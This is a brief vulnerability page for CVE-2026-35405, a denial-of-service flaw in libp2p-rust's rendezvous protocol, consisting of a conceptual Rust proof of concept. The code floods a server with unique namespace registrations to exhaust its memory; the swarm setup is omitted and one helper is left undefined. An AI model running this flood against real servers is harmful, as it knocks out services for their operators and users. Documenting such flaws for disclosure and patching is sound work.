CVE-2026-35405 libp2p-rust 拒绝服务漏洞

// Conceptual PoC for CVE-2026-35405 // This code demonstrates the logic to exhaust server memory by registering unique namespaces. use libp2p::{rendezvous, Swarm}; use std::time::Duration; #[tokio::main] async fn main() { // ... (Swarm setup omitted for brevity) ... let mut swarm = /* ... */; loop { // Generate a unique namespace for each iteration let unique_namespace = format!("exploit_namespace_{}", uuid::Uuid::new_v4()); // Send registration request to the server // In a vulnerable server (< 0.17.1), this allocates memory without check match swarm.behaviour_mut().register( rendezvous::Namespace::new(unique_namespace.clone()).unwrap(), rendezvous::Peer::new(random_peer_id()) ) { Ok(_) => println!("Registered namespace: {}", unique_namespace), Err(e) => eprintln!("Registration failed: {:?}", e), } // Optional: Small delay to avoid immediate local network saturation, but keep it fast tokio::time::sleep(Duration::from_millis(10)).await; // The server will eventually OOM (Out Of Memory) and crash. } }